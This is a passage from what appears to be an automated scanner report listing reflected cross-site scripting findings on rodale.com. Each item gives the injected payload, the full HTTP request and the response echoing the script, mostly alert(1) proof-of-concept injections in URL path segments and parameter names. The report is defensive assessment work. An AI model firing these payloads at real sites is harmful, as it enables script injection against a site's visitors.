Server: Apache/2.2.15 (Unix) PHP/5.2.13
X-Powered-By: PHP/5.2.13
Last-Modified: Thu, 10 Mar 2011 17:07:17 GMT
Content-Type: text/html; charset=utf-8
Cache-Control: max-age=1799
Expires: Thu, 10 Mar 2011 17:37:17 GMT
Date: Thu, 10 Mar 2011 17:07:18 GMT
Content-Length: 21647
Connection: close

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
<html xmlns="http://www.w3.org/1999/xhtml"
lang="en" xml:lang="en"
class=""
xml
...[SNIP]...
var axel = Math.random() + '';
var ord = axel * 1000000000000000000;
var topic = dfpTopic;
var sbtpc = dfpSubTopic;
var dfpCat= '';
var cat = dfpCat;
var dfpKeyword = 'Stress82c49';747acc1cf53';
var siteName = 'rodale';
var dfpTile='1';
var tile = dfpTile;
var useCAS = 'N';
// ]]>
...[SNIP]...

2.252. http://www.rodale.com/search/google_appliance/Stress [REST URL parameter 3] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://www.rodale.com
Path:	/search/google_appliance/Stress

Issue detail

The value of REST URL parameter 3 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload f4988"><script>alert(1)</script>0f2d88abebc was submitted in the REST URL parameter 3. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /search/google_appliance/Stressf4988"><script>alert(1)</script>0f2d88abebc HTTP/1.1
Host: www.rodale.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: _chartbeat2=rkdyf9xiaaxcx0fo; cmTPSet=Y;

Response

HTTP/1.1 200 OK
Server: Apache/2.2.15 (Unix) PHP/5.2.13
X-Powered-By: PHP/5.2.13
Last-Modified: Thu, 10 Mar 2011 17:07:15 GMT
Content-Type: text/html; charset=utf-8
Cache-Control: max-age=1800
Expires: Thu, 10 Mar 2011 17:37:16 GMT
Date: Thu, 10 Mar 2011 17:07:16 GMT
Content-Length: 21858
Connection: close

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
<html xmlns="http://www.w3.org/1999/xhtml"
lang="en" xml:lang="en"
class=""
xml
...[SNIP]...
<a href="https://member.rodale.com/membercenter/mvc/createUser?site=rodalehealth&returnUrl=http%3A%2F%2Fwww.rodale.com/search/google_appliance/Stressf4988"><script>alert(1)</script>0f2d88abebc" title="Register" class="moreLink">
...[SNIP]...

2.253. http://www.rodale.com/search/google_appliance/Stress [name of an arbitrarily supplied request parameter] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://www.rodale.com
Path:	/search/google_appliance/Stress

Issue detail

The name of an arbitrarily supplied request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 760e5"><script>alert(1)</script>0c686ffee90 was submitted in the name of an arbitrarily supplied request parameter. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /search/google_appliance/Stress?760e5"><script>alert(1)</script>0c686ffee90=1 HTTP/1.1
Host: www.rodale.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: _chartbeat2=rkdyf9xiaaxcx0fo; cmTPSet=Y;

Response

HTTP/1.1 200 OK
Server: Apache/2.2.15 (Unix) PHP/5.2.13
X-Powered-By: PHP/5.2.13
Last-Modified: Thu, 10 Mar 2011 17:06:15 GMT
Content-Type: text/html; charset=utf-8
Cache-Control: max-age=1800
Expires: Thu, 10 Mar 2011 17:36:17 GMT
Date: Thu, 10 Mar 2011 17:06:17 GMT
Content-Length: 28246
Connection: close

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
<html xmlns="http://www.w3.org/1999/xhtml"
lang="en" xml:lang="en"
class=""
xml
...[SNIP]...
<a href="https://member.rodale.com/membercenter/mvc/createUser?site=rodalehealth&returnUrl=http%3A%2F%2Fwww.rodale.com/search/google_appliance/Stress?760e5"><script>alert(1)</script>0c686ffee90=1" title="Register" class="moreLink">
...[SNIP]...

2.254. http://www.rodale.com/search/google_appliance/Weight+Loss [REST URL parameter 1] previous next

Summary

Severity:	High
Confidence:	Firm
Host:	http://www.rodale.com
Path:	/search/google_appliance/Weight+Loss

Issue detail

The value of REST URL parameter 1 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload a2dbc"><a>333a27a5769 was submitted in the REST URL parameter 1. This input was echoed unmodified in the application's response.

This behaviour demonstrates that it is possible to inject new HTML tags into the returned document. An attempt was made to identify a full proof-of-concept attack for injecting arbitrary JavaScript but this was not successful. You should manually examine the application's behaviour and attempt to identify any unusual input validation or other obstacles that may be in place.

Request

GET /searcha2dbc"><a>333a27a5769/google_appliance/Weight+Loss HTTP/1.1
Host: www.rodale.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: _chartbeat2=rkdyf9xiaaxcx0fo; cmTPSet=Y;

Response

HTTP/1.1 404 Not Found
Server: Apache/2.2.15 (Unix) PHP/5.2.13
X-Powered-By: PHP/5.2.13
Last-Modified: Thu, 10 Mar 2011 17:06:55 GMT
Content-Type: text/html; charset=utf-8
Cache-Control: max-age=1800
Expires: Thu, 10 Mar 2011 17:36:57 GMT
Date: Thu, 10 Mar 2011 17:06:57 GMT
Content-Length: 22543
Connection: close

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
<html xmlns="http://www.w3.org/1999/xhtml"
lang="en" xml:lang="en"
class=""
xml
...[SNIP]...
<body id="" class="format-normal page-page searcha2dbc"><a>333a27a5769 searcha2dbc">
...[SNIP]...

2.255. http://www.rodale.com/search/google_appliance/Weight+Loss [REST URL parameter 2] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://www.rodale.com
Path:	/search/google_appliance/Weight+Loss

Issue detail

The value of REST URL parameter 2 is copied into the value of an HTML tag attribute which is encapsulated in single quotation marks. The payload 9206a'><img%20src%3da%20onerror%3dalert(1)>05ef9e88453 was submitted in the REST URL parameter 2. This input was echoed as 9206a'><img src=a onerror=alert(1)>05ef9e88453 in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response. The PoC attack demonstrated uses an event handler to introduce arbitrary JavaScript into the document.

Request

GET /search/google_appliance9206a'><img%20src%3da%20onerror%3dalert(1)>05ef9e88453/Weight+Loss HTTP/1.1
Host: www.rodale.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: _chartbeat2=rkdyf9xiaaxcx0fo; cmTPSet=Y;

Response

HTTP/1.1 200 OK
Server: Apache/2.2.15 (Unix) PHP/5.2.13
X-Powered-By: PHP/5.2.13
Last-Modified: Thu, 10 Mar 2011 17:07:46 GMT
Content-Type: text/html; charset=utf-8
Cache-Control: max-age=1800
Expires: Thu, 10 Mar 2011 17:37:48 GMT
Date: Thu, 10 Mar 2011 17:07:48 GMT
Content-Length: 22720
Connection: close

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
<html xmlns="http://www.w3.org/1999/xhtml"
lang="en" xml:lang="en"
class=""
xml
...[SNIP]...
<a href='/search/google_appliance9206a'><img src=a onerror=alert(1)>05ef9e88453/Weight+Loss?filter=prevention.com'>
...[SNIP]...

2.256. http://www.rodale.com/search/google_appliance/Weight+Loss [REST URL parameter 2] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://www.rodale.com
Path:	/search/google_appliance/Weight+Loss

Issue detail

The value of REST URL parameter 2 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 244d9"><script>alert(1)</script>6b368143bb7 was submitted in the REST URL parameter 2. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /search/google_appliance244d9"><script>alert(1)</script>6b368143bb7/Weight+Loss HTTP/1.1
Host: www.rodale.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: _chartbeat2=rkdyf9xiaaxcx0fo; cmTPSet=Y;

Response

HTTP/1.1 200 OK
Server: Apache/2.2.15 (Unix) PHP/5.2.13
X-Powered-By: PHP/5.2.13
Last-Modified: Thu, 10 Mar 2011 17:07:34 GMT
Content-Type: text/html; charset=utf-8
Cache-Control: max-age=1800
Expires: Thu, 10 Mar 2011 17:37:34 GMT
Date: Thu, 10 Mar 2011 17:07:34 GMT
Content-Length: 21781
Connection: close

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
<html xmlns="http://www.w3.org/1999/xhtml"
lang="en" xml:lang="en"
class=""
xml
...[SNIP]...
<a href="/search/google_appliance244d9"><script>alert(1)</script>6b368143bb7/Weight+Loss" class="filters dottedLine">
...[SNIP]...

2.257. http://www.rodale.com/search/google_appliance/Weight+Loss [REST URL parameter 3] previous next

Summary

Severity:	High
Confidence:	Firm
Host:	http://www.rodale.com
Path:	/search/google_appliance/Weight+Loss

Issue detail

The value of REST URL parameter 3 is copied into a JavaScript string which is encapsulated in single quotation marks. The payload cfd62'%3ba3216e13463 was submitted in the REST URL parameter 3. This input was echoed as cfd62';a3216e13463 in the application's response.

This behaviour demonstrates that it is possible to terminate the JavaScript string into which our data is being copied. An attempt was made to identify a full proof-of-concept attack for injecting arbitrary JavaScript but this was not successful. You should manually examine the application's behaviour and attempt to identify any unusual input validation or other obstacles that may be in place.

Request

GET /search/google_appliance/Weight+Losscfd62'%3ba3216e13463 HTTP/1.1
Host: www.rodale.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: _chartbeat2=rkdyf9xiaaxcx0fo; cmTPSet=Y;

Response

HTTP/1.1 200 OK
Server: Apache/2.2.15 (Unix) PHP/5.2.13
X-Powered-By: PHP/5.2.13
Last-Modified: Thu, 10 Mar 2011 17:07:52 GMT
Content-Type: text/html; charset=utf-8
Cache-Control: max-age=1800
Expires: Thu, 10 Mar 2011 17:37:53 GMT
Date: Thu, 10 Mar 2011 17:07:53 GMT
Content-Length: 21689
Connection: close

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
<html xmlns="http://www.w3.org/1999/xhtml"
lang="en" xml:lang="en"
class=""
xml
...[SNIP]...
r axel = Math.random() + '';
var ord = axel * 1000000000000000000;
var topic = dfpTopic;
var sbtpc = dfpSubTopic;
var dfpCat= '';
var cat = dfpCat;
var dfpKeyword = 'Weight Losscfd62';a3216e13463';
var siteName = 'rodale';
var dfpTile='1';
var tile = dfpTile;
var useCAS = 'N';
// ]]>
...[SNIP]...

2.258. http://www.rodale.com/search/google_appliance/Weight+Loss [REST URL parameter 3] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://www.rodale.com
Path:	/search/google_appliance/Weight+Loss

Issue detail

The value of REST URL parameter 3 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload e2a5f"><script>alert(1)</script>477282f0a43 was submitted in the REST URL parameter 3. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /search/google_appliance/Weight+Losse2a5f"><script>alert(1)</script>477282f0a43 HTTP/1.1
Host: www.rodale.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: _chartbeat2=rkdyf9xiaaxcx0fo; cmTPSet=Y;

Response

HTTP/1.1 200 OK
Server: Apache/2.2.15 (Unix) PHP/5.2.13
X-Powered-By: PHP/5.2.13
Last-Modified: Thu, 10 Mar 2011 17:07:50 GMT
Content-Type: text/html; charset=utf-8
Cache-Control: max-age=1799
Expires: Thu, 10 Mar 2011 17:37:51 GMT
Date: Thu, 10 Mar 2011 17:07:52 GMT
Content-Length: 21900
Connection: close

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
<html xmlns="http://www.w3.org/1999/xhtml"
lang="en" xml:lang="en"
class=""
xml
...[SNIP]...
<a href="https://member.rodale.com/membercenter/mvc/createUser?site=rodalehealth&returnUrl=http%3A%2F%2Fwww.rodale.com/search/google_appliance/Weight+Losse2a5f"><script>alert(1)</script>477282f0a43" title="Register" class="moreLink">
...[SNIP]...

2.259. http://www.rodale.com/search/google_appliance/Weight+Loss [name of an arbitrarily supplied request parameter] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://www.rodale.com
Path:	/search/google_appliance/Weight+Loss

Issue detail

The name of an arbitrarily supplied request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload ba725"><script>alert(1)</script>a6a85417681 was submitted in the name of an arbitrarily supplied request parameter. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /search/google_appliance/Weight+Loss?ba725"><script>alert(1)</script>a6a85417681=1 HTTP/1.1
Host: www.rodale.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: _chartbeat2=rkdyf9xiaaxcx0fo; cmTPSet=Y;

Response

HTTP/1.1 200 OK
Server: Apache/2.2.15 (Unix) PHP/5.2.13
X-Powered-By: PHP/5.2.13
Last-Modified: Thu, 10 Mar 2011 17:06:53 GMT
Content-Type: text/html; charset=utf-8
Cache-Control: max-age=1799
Expires: Thu, 10 Mar 2011 17:36:54 GMT
Date: Thu, 10 Mar 2011 17:06:55 GMT
Content-Length: 27485
Connection: close

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
<html xmlns="http://www.w3.org/1999/xhtml"
lang="en" xml:lang="en"
class=""
xml
...[SNIP]...
<a href="https://member.rodale.com/membercenter/mvc/createUser?site=rodalehealth&returnUrl=http%3A%2F%2Fwww.rodale.com/search/google_appliance/Weight+Loss?ba725"><script>alert(1)</script>a6a85417681=1" title="Register" class="moreLink">
...[SNIP]...

2.260. http://www.rodale.com/sites/all/themes/rodalenews/static/rodale-shopping.html [REST URL parameter 1] previous next

Summary

Severity:	High
Confidence:	Firm
Host:	http://www.rodale.com
Path:	/sites/all/themes/rodalenews/static/rodale-shopping.html

Issue detail

The value of REST URL parameter 1 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 7d746"><a>8dc3d067edd was submitted in the REST URL parameter 1. This input was echoed unmodified in the application's response.

This behaviour demonstrates that it is possible to inject new HTML tags into the returned document. An attempt was made to identify a full proof-of-concept attack for injecting arbitrary JavaScript but this was not successful. You should manually examine the application's behaviour and attempt to identify any unusual input validation or other obstacles that may be in place.

Request

GET /sites7d746"><a>8dc3d067edd/all/themes/rodalenews/static/rodale-shopping.html HTTP/1.1
Host: www.rodale.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: _chartbeat2=rkdyf9xiaaxcx0fo; cmTPSet=Y;

Response

HTTP/1.1 404 Not Found
Server: Apache/2.2.15 (Unix) PHP/5.2.13
X-Powered-By: PHP/5.2.13
Last-Modified: Thu, 10 Mar 2011 17:05:24 GMT
Content-Type: text/html; charset=utf-8
Cache-Control: max-age=1800
Expires: Thu, 10 Mar 2011 17:35:25 GMT
Date: Thu, 10 Mar 2011 17:05:25 GMT
Content-Length: 22572
Connection: close

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
<html xmlns="http://www.w3.org/1999/xhtml"
lang="en" xml:lang="en"
class=""
xml
...[SNIP]...
<body id="" class="format-normal page-page sites7d746"><a>8dc3d067edd sites7d746">
...[SNIP]...

2.261. http://www.rodale.com/sites/all/themes/rodalenews/static/rodale-shopping.html [REST URL parameter 2] previous next

Summary

Severity:	High
Confidence:	Firm
Host:	http://www.rodale.com
Path:	/sites/all/themes/rodalenews/static/rodale-shopping.html

Issue detail

The value of REST URL parameter 2 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload d9ede"><a>9afe6d12e49 was submitted in the REST URL parameter 2. This input was echoed unmodified in the application's response.

This behaviour demonstrates that it is possible to inject new HTML tags into the returned document. An attempt was made to identify a full proof-of-concept attack for injecting arbitrary JavaScript but this was not successful. You should manually examine the application's behaviour and attempt to identify any unusual input validation or other obstacles that may be in place.

Request

GET /sites/alld9ede"><a>9afe6d12e49/themes/rodalenews/static/rodale-shopping.html HTTP/1.1
Host: www.rodale.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: _chartbeat2=rkdyf9xiaaxcx0fo; cmTPSet=Y;

Response

HTTP/1.1 404 Not Found
Server: Apache/2.2.15 (Unix) PHP/5.2.13
X-Powered-By: PHP/5.2.13
Last-Modified: Thu, 10 Mar 2011 17:05:47 GMT
Content-Type: text/html; charset=utf-8
Cache-Control: max-age=1800
Expires: Thu, 10 Mar 2011 17:35:48 GMT
Date: Thu, 10 Mar 2011 17:05:48 GMT
Content-Length: 22551
Connection: close

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
<html xmlns="http://www.w3.org/1999/xhtml"
lang="en" xml:lang="en"
class=""
xml
...[SNIP]...
<body id="" class="format-normal page-page sites sites-alld9ede"><a>9afe6d12e49 node node-958">
...[SNIP]...

2.262. http://www.rodale.com/sites/all/themes/rodalenews/static/rodale-shopping.html [REST URL parameter 3] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://www.rodale.com
Path:	/sites/all/themes/rodalenews/static/rodale-shopping.html

Issue detail

The value of REST URL parameter 3 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 4dc84"><script>alert(1)</script>a4cf70d96e1 was submitted in the REST URL parameter 3. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /sites/all/themes4dc84"><script>alert(1)</script>a4cf70d96e1/rodalenews/static/rodale-shopping.html HTTP/1.1
Host: www.rodale.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: _chartbeat2=rkdyf9xiaaxcx0fo; cmTPSet=Y;

Response

HTTP/1.1 404 Not Found
Server: Apache/2.2.15 (Unix) PHP/5.2.13
X-Powered-By: PHP/5.2.13
Last-Modified: Thu, 10 Mar 2011 17:06:19 GMT
Content-Type: text/html; charset=utf-8
Cache-Control: max-age=1800
Expires: Thu, 10 Mar 2011 17:36:20 GMT
Date: Thu, 10 Mar 2011 17:06:20 GMT
Content-Length: 22584
Connection: close

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
<html xmlns="http://www.w3.org/1999/xhtml"
lang="en" xml:lang="en"
class=""
xml
...[SNIP]...
<a href="https://member.rodale.com/membercenter/mvc/createUser?site=rodalehealth&returnUrl=http%3A%2F%2Fwww.rodale.com/sites/all/themes4dc84"><script>alert(1)</script>a4cf70d96e1/rodalenews/static/rodale-shopping.html" title="Register" class="moreLink">
...[SNIP]...

2.263. http://www.rodale.com/sites/all/themes/rodalenews/static/rodale-shopping.html [REST URL parameter 4] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://www.rodale.com
Path:	/sites/all/themes/rodalenews/static/rodale-shopping.html

Issue detail

The value of REST URL parameter 4 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 51f86"><script>alert(1)</script>ebdf8c5aa1 was submitted in the REST URL parameter 4. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /sites/all/themes/rodalenews51f86"><script>alert(1)</script>ebdf8c5aa1/static/rodale-shopping.html HTTP/1.1
Host: www.rodale.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: _chartbeat2=rkdyf9xiaaxcx0fo; cmTPSet=Y;

Response

HTTP/1.1 404 Not Found
Server: Apache/2.2.15 (Unix) PHP/5.2.13
X-Powered-By: PHP/5.2.13
Last-Modified: Thu, 10 Mar 2011 17:06:23 GMT
Content-Type: text/html; charset=utf-8
Cache-Control: max-age=1800
Expires: Thu, 10 Mar 2011 17:36:25 GMT
Date: Thu, 10 Mar 2011 17:06:25 GMT
Content-Length: 22582
Connection: close

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
<html xmlns="http://www.w3.org/1999/xhtml"
lang="en" xml:lang="en"
class=""
xml
...[SNIP]...
<a href="https://member.rodale.com/membercenter/mvc/createUser?site=rodalehealth&returnUrl=http%3A%2F%2Fwww.rodale.com/sites/all/themes/rodalenews51f86"><script>alert(1)</script>ebdf8c5aa1/static/rodale-shopping.html" title="Register" class="moreLink">
...[SNIP]...

2.264. http://www.rodale.com/sites/all/themes/rodalenews/static/rodale-shopping.html [REST URL parameter 5] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://www.rodale.com
Path:	/sites/all/themes/rodalenews/static/rodale-shopping.html

Issue detail

The value of REST URL parameter 5 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 7689f"><script>alert(1)</script>3da11928ac5 was submitted in the REST URL parameter 5. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /sites/all/themes/rodalenews/static7689f"><script>alert(1)</script>3da11928ac5/rodale-shopping.html HTTP/1.1
Host: www.rodale.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: _chartbeat2=rkdyf9xiaaxcx0fo; cmTPSet=Y;

Response

HTTP/1.1 404 Not Found
Server: Apache/2.2.15 (Unix) PHP/5.2.13
X-Powered-By: PHP/5.2.13
Last-Modified: Thu, 10 Mar 2011 17:06:28 GMT
Content-Type: text/html; charset=utf-8
Cache-Control: max-age=1800
Expires: Thu, 10 Mar 2011 17:36:29 GMT
Date: Thu, 10 Mar 2011 17:06:29 GMT
Content-Length: 22584
Connection: close

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
<html xmlns="http://www.w3.org/1999/xhtml"
lang="en" xml:lang="en"
class=""
xml
...[SNIP]...
<a href="https://member.rodale.com/membercenter/mvc/createUser?site=rodalehealth&returnUrl=http%3A%2F%2Fwww.rodale.com/sites/all/themes/rodalenews/static7689f"><script>alert(1)</script>3da11928ac5/rodale-shopping.html" title="Register" class="moreLink">
...[SNIP]...

2.265. http://www.rodale.com/sites/all/themes/rodalenews/static/rodale-shopping.html [REST URL parameter 6] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://www.rodale.com
Path:	/sites/all/themes/rodalenews/static/rodale-shopping.html

Issue detail

The value of REST URL parameter 6 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload e3fa1"><script>alert(1)</script>724ba1173ba was submitted in the REST URL parameter 6. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /sites/all/themes/rodalenews/static/rodale-shopping.htmle3fa1"><script>alert(1)</script>724ba1173ba HTTP/1.1
Host: www.rodale.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: _chartbeat2=rkdyf9xiaaxcx0fo; cmTPSet=Y;

Response

HTTP/1.1 404 Not Found
Server: Apache/2.2.15 (Unix) PHP/5.2.13
X-Powered-By: PHP/5.2.13
Last-Modified: Thu, 10 Mar 2011 17:06:33 GMT
Content-Type: text/html; charset=utf-8
Cache-Control: max-age=1800
Expires: Thu, 10 Mar 2011 17:36:36 GMT
Date: Thu, 10 Mar 2011 17:06:36 GMT
Content-Length: 22584
Connection: close

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
<html xmlns="http://www.w3.org/1999/xhtml"
lang="en" xml:lang="en"
class=""
xml
...[SNIP]...
<a href="https://member.rodale.com/membercenter/mvc/createUser?site=rodalehealth&returnUrl=http%3A%2F%2Fwww.rodale.com/sites/all/themes/rodalenews/static/rodale-shopping.htmle3fa1"><script>alert(1)</script>724ba1173ba" title="Register" class="moreLink">
...[SNIP]...

2.266. http://www.rodale.com/topic/acid-reflux [REST URL parameter 1] previous next

Summary

Severity:	High
Confidence:	Firm
Host:	http://www.rodale.com
Path:	/topic/acid-reflux

Issue detail

The value of REST URL parameter 1 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload a0f8e"><a>b6c177d9b29 was submitted in the REST URL parameter 1. This input was echoed unmodified in the application's response.

This behaviour demonstrates that it is possible to inject new HTML tags into the returned document. An attempt was made to identify a full proof-of-concept attack for injecting arbitrary JavaScript but this was not successful. You should manually examine the application's behaviour and attempt to identify any unusual input validation or other obstacles that may be in place.

Request

GET /topica0f8e"><a>b6c177d9b29/acid-reflux HTTP/1.1
Host: www.rodale.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: _chartbeat2=rkdyf9xiaaxcx0fo; cmTPSet=Y;

Response

HTTP/1.1 404 Not Found
Server: Apache/2.2.15 (Unix) PHP/5.2.13
X-Powered-By: PHP/5.2.13
Last-Modified: Thu, 10 Mar 2011 17:07:49 GMT
Content-Type: text/html; charset=utf-8
Cache-Control: max-age=1800
Expires: Thu, 10 Mar 2011 17:37:51 GMT
Date: Thu, 10 Mar 2011 17:07:51 GMT
Content-Length: 22504
Connection: close

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
<html xmlns="http://www.w3.org/1999/xhtml"
lang="en" xml:lang="en"
class=""
xml
...[SNIP]...
<body id="" class="format-normal page-page topica0f8e"><a>b6c177d9b29 topica0f8e">
...[SNIP]...

2.267. http://www.rodale.com/topic/acid-reflux [REST URL parameter 2] previous next

Summary

Severity:	High
Confidence:	Firm
Host:	http://www.rodale.com
Path:	/topic/acid-reflux

Issue detail

The value of REST URL parameter 2 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload a5302"><a>79af2acc9e8 was submitted in the REST URL parameter 2. This input was echoed unmodified in the application's response.

This behaviour demonstrates that it is possible to inject new HTML tags into the returned document. An attempt was made to identify a full proof-of-concept attack for injecting arbitrary JavaScript but this was not successful. You should manually examine the application's behaviour and attempt to identify any unusual input validation or other obstacles that may be in place.

Request

GET /topic/acid-refluxa5302"><a>79af2acc9e8 HTTP/1.1
Host: www.rodale.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: _chartbeat2=rkdyf9xiaaxcx0fo; cmTPSet=Y;

Response

HTTP/1.1 404 Not Found
Server: Apache/2.2.15 (Unix) PHP/5.2.13
X-Powered-By: PHP/5.2.13
Last-Modified: Thu, 10 Mar 2011 17:08:33 GMT
Content-Type: text/html; charset=utf-8
Cache-Control: max-age=1800
Expires: Thu, 10 Mar 2011 17:38:35 GMT
Date: Thu, 10 Mar 2011 17:08:35 GMT
Content-Length: 22483
Connection: close

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
<html xmlns="http://www.w3.org/1999/xhtml"
lang="en" xml:lang="en"
class=""
xml
...[SNIP]...
<body id="" class="format-normal page-page topic topic-acid-refluxa5302"><a>79af2acc9e8 node node-958">
...[SNIP]...

2.268. http://www.rodale.com/topic/acid-reflux [name of an arbitrarily supplied request parameter] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://www.rodale.com
Path:	/topic/acid-reflux

Issue detail

The name of an arbitrarily supplied request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 223a1"><script>alert(1)</script>233aedc0649 was submitted in the name of an arbitrarily supplied request parameter. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /topic/acid-reflux?223a1"><script>alert(1)</script>233aedc0649=1 HTTP/1.1
Host: www.rodale.com
Accept: */*
Accept-Language: en
